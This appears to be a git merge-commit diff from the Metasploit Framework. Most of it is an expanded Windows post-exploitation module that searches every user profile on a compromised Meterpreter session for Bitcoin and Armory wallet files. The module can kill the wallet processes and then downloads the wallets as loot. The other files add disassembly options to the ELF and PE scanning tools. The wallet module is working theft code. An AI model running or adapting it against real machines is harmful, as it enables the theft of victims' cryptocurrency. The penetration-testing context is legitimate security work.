Merge remote-tracking branch 'metasploit-framework/master' into masked-cred-format-update

bug/bundler_fix
Samuel Huckins 2013-12-30 13:31:49 -06:00
commit 2f8f46c984
4 changed files with 90 additions and 30 deletions

View File

@ -1,4 +1,5 @@
# -*- coding: binary -*- # -*- coding: binary -*-
require 'metasm'
module Rex module Rex
module ElfScan module ElfScan
@ -27,6 +28,26 @@ class Generic
rva = hit[0] rva = hit[0]
message = hit[1].is_a?(Array) ? hit[1].join(" ") : hit[1] message = hit[1].is_a?(Array) ? hit[1].join(" ") : hit[1]
$stdout.puts elf.ptr_s(rva) + " " + message $stdout.puts elf.ptr_s(rva) + " " + message
if(param['disasm'])
message.gsub!("; ", "\n")
if message.include?("retn")
message.gsub!("retn", "ret")
end
begin
d2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, message).disassemble
rescue Metasm::ParseError
d2 = Metasm::Shellcode.disassemble(Metasm::Ia32.new, [message].pack('H*'))
end
addr = 0
while ((di = d2.disassemble_instruction(addr)))
disasm = "0x%08x\t" % (rva + addr)
disasm << di.instruction.to_s
$stdout.puts disasm
addr = di.next_addr
end
end
end end
end end
@ -203,4 +224,3 @@ end
end end
end end
end end

View File

@ -15,63 +15,99 @@ class Metasploit3 < Msf::Post
def initialize(info={}) def initialize(info={})
super( update_info( info, super( update_info( info,
'Name' => 'Windows Gather Bitcoin wallet.dat', 'Name' => 'Windows Gather Bitcoin Wallet',
'Description' => %q{ 'Description' => %q{
This module downloads any Bitcoin wallet.dat files from the target system This module downloads any Bitcoin wallet files from the target
system. It currently supports both the classic Satoshi wallet and the
more recent Armory wallets. Note that Satoshi wallets tend to be
unencrypted by default, while Armory wallets tend to be encrypted by default.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => [ 'illwill <illwill[at]illmob.org>'], 'Author' => [
'Platform' => [ 'win' ], 'illwill <illwill[at]illmob.org>', # Original implementation
'todb' # Added Armory support
],
'Platform' => [ 'win' ], # TODO: Several more platforms host Bitcoin wallets...
'SessionTypes' => [ 'meterpreter' ] 'SessionTypes' => [ 'meterpreter' ]
)) ))
register_options([
OptBool.new('KILL_PROCESSES', [false, 'Kill associated Bitcoin processes before jacking.', false]),
], self.class)
end end
def run def run
print_status("Checking All Users For Bitcoin Wallet...") print_status("Checking all user profiles for Bitcoin wallets...")
found_wallets = false
grab_user_profiles().each do |user| grab_user_profiles().each do |user|
next if user['AppData'] == nil next unless user['AppData']
tmpath= user['AppData'] + "\\Bitcoin\\wallet.dat" bitcoin_wallet_path = user['AppData'] + "\\Bitcoin\\wallet.dat"
jack_wallet(tmpath) next unless file?(bitcoin_wallet_path)
found_wallets = true
jack_wallet(bitcoin_wallet_path)
armory_wallet_path = user['AppData'] + "\\Armory"
session.fs.dir.foreach(armory_wallet_path) do |fname|
next unless fname =~ /\.wallet/
found_wallets = true
armory_wallet_fullpath = armory_wallet_path + "\\#{fname}"
jack_wallet(armory_wallet_fullpath)
end
end
unless found_wallets
print_warning "No wallets found, nothing to do."
end end
end end
def jack_wallet(filename) def jack_wallet(wallet_path)
data = "" data = ""
return if not file?(filename) wallet_type = case wallet_path
when /\.wallet$/
:armory
when /wallet\.dat$/
:satoshi
else
:unknown
end
print_status("Wallet Found At #{filename}") if wallet_type == :unknown
print_status(" Jackin their wallet...") print_error "Unknown wallet type: #{wallet_path}, nothing to do."
return
end
kill_bitcoin print_status("#{wallet_type.to_s.capitalize} Wallet found at #{wallet_path}")
print_status("Jackin' wallet...")
kill_bitcoin_processes if datastore['KILL_PROCESSES']
begin begin
data = read_file(filename) || '' data = read_file(wallet_path) || ''
rescue ::Exception => e rescue ::Exception => e
print_error("Failed to download #{filename}: #{e.class} #{e}") print_error("Failed to download #{wallet_path}: #{e.class} #{e}")
return return
end end
if data.empty? if data.empty?
print_error(" No data found") print_error("No data found, nothing to save.")
else else
p = store_loot( loot_result = store_loot(
"bitcoin.wallet", "bitcoin.wallet.#{wallet_type}",
"application/octet-stream", "application/octet-stream",
session, session,
data, data,
filename, wallet_path,
"Bitcoin Wallet" "Bitcoin Wallet (#{wallet_type.to_s.capitalize})"
) )
print_status(" Wallet Jacked: #{p.to_s}") print_status("Wallet jacked: #{loot_result}")
end end
end end
def kill_bitcoin def kill_bitcoin_processes
client.sys.process.get_processes().each do |x| client.sys.process.get_processes().each do |process|
if x['name'].downcase == "bitcoin.exe" pname = process['name'].downcase
print_status(" #{x['name']} Process Found...") if pname == "bitcoin.exe" || pname == "bitcoind.exe" || pname == "armoryqt.exe"
print_status(" Killing Process ID #{x['pid']}...") print_status("#{process['name']} Process Found...")
session.sys.process.kill(x['pid']) rescue nil print_status("Killing Process ID #{process['pid']}...")
session.sys.process.kill(process['pid'])
end end
end end
end end

View File

@ -112,7 +112,7 @@ opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase
param['imagebase'] = opt2i(t) param['imagebase'] = opt2i(t)
end end
opt.on('-D', '--disasm', 'Disassemble the bytes at this address [PE]') do |t| opt.on('-D', '--disasm', 'Disassemble the bytes at this address [PE|ELF]') do |t|
param['disasm'] = true param['disasm'] = true
end end

View File

@ -82,6 +82,10 @@ opt.on('-B', '--before [bytes]', 'Number of bytes to show before match (-a/-b)')
param['before'] = opt2i(t) param['before'] = opt2i(t)
end end
opt.on('-D', '--disasm', 'Disassemble the bytes at this address') do |t|
param['disasm'] = true
end
opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase') do |t| opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase') do |t|
param['imagebase'] = opt2i(t) param['imagebase'] = opt2i(t)
end end